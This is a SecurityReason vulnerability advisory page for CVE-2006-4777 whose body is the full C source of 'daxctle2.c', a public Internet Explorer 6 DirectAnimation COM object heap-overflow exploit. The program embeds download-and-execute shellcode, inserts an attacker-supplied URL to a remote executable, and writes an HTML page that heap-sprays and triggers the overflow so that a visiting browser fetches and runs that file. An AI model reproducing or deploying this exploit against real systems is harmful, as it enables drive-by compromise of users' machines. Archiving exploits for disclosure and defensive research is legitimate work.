Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : [0day] daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
  SecurityAlert : 1577
  CVE : CVE-2006-4777
  SecurityRisk : High  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : nop
  Published : 19.09.2006

  Affected Software :
Windows 2000 Server SP4 CN
Internet Explorer 6.0 SP1
Windows XP SP2 CN
Internet Explorer 6.0 SP1



  Advisory Text :  

/*
*-----------------------------------------------------------------------


*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec
Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*-----------------------------------------------------------------------

-
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =
"xe9xa3x00x00x00x5fx64xa1x30x00x00x00x8bx40x0cx8b"
"x70x1cxadx8bx68x08x8bxf7x6ax04x59xe8x43x00x00x00"
"xe2xf9x68x6fx6ex00x00x68x75x72x6cx6dx54xffx16x95"
"xe8x2ex00x00x00x83xecx20x8bxdcx6ax20x53xffx56x04"
"xc7x04x03x5cx61x2ex65xc7x44x03x04x78x65x00x00x33"
"xc0x50x50x53x57x50xffx56x10x8bxdcx50x53xffx56x08"
"xffx56x0cx51x56x8bx75x3cx8bx74x2ex78x03xf5x56x8b"
"x76x20x03xf5x33xc9x49x41xadx03xc5x33xdbx0fxbex10"
"x3axd6x74x08xc1xcbx0dx03xdax40xebxf1x3bx1fx75xe7"
"x5ex8bx5ex24x03xddx66x8bx0cx4bx8bx5ex1cx03xddx8b"
"x04x8bx03xc5xabx5ex59xc3xe8x58xffxffxffx8ex4ex0e"
"xecxc1x79xe5xb8x98xfex8ax0exefxcexe0x60x36x1ax2f"
"x70";

char * header =
"<html>n"
"<head>n"
"<title>XSec.org</title>n"
"</head>n"
"<body>n"
"<script>n"
"shellcode = unescape("%u4343"+"%u4343"+"%u4343" + n";

// Change this script by yourself.
char * footer =
"bigbk = unescape("%u0D0D%u0D0D");n"
"headersize = 20;n"
"slackspace = headersize + shellcode.lengthn"
"while (bigbk.length < slackspace) bigbk += bigbk;n"
"fillbk = bigbk.substring(0, slackspace);n"
"bk = bigbk.substring(0, bigbk.length-slackspace);n"
// bk = nop+nop ;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;n"
"memory = new Array();n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;n"
"var target = new ActiveXObject("DirectAnimation.PathControl");n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));n"
"</script>n"
"</body>n"
"</html>n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf(""n"");
fprintf(fp, "%s", "" +n"");
}
else
{
printf(""");
fprintf(fp, "%s", """);
}
}

printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}

printf("";n");
fprintf(fp, "%s", "");n");

fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};

int sc_len = 0;

if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec
Exploitn");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.orgn");
//printf("!!! 0Day !!! Please Keep Private!!!n");
printf("rnUsage: %s <URL> [htmlfile]rnn", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) ||
strlen(url)
< 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60
bytes.n");
printf("[-] Invalid url. Must start with 'http://','ftp://'n");
return;
}

printf("[+] download url:%sn", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%sn", file);

fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!n", file);
}



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache-SSL memory
   disclosure

» Apache mod_negotiation
   Xss and Http Response
   Splitting

» Apache (mod_status)
   Refresh Header - Open
   Redirector (XSS)

» Apache (mod_proxy_ftp)
   Undefined Charset UTF-7
   XSS Vulnerability

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.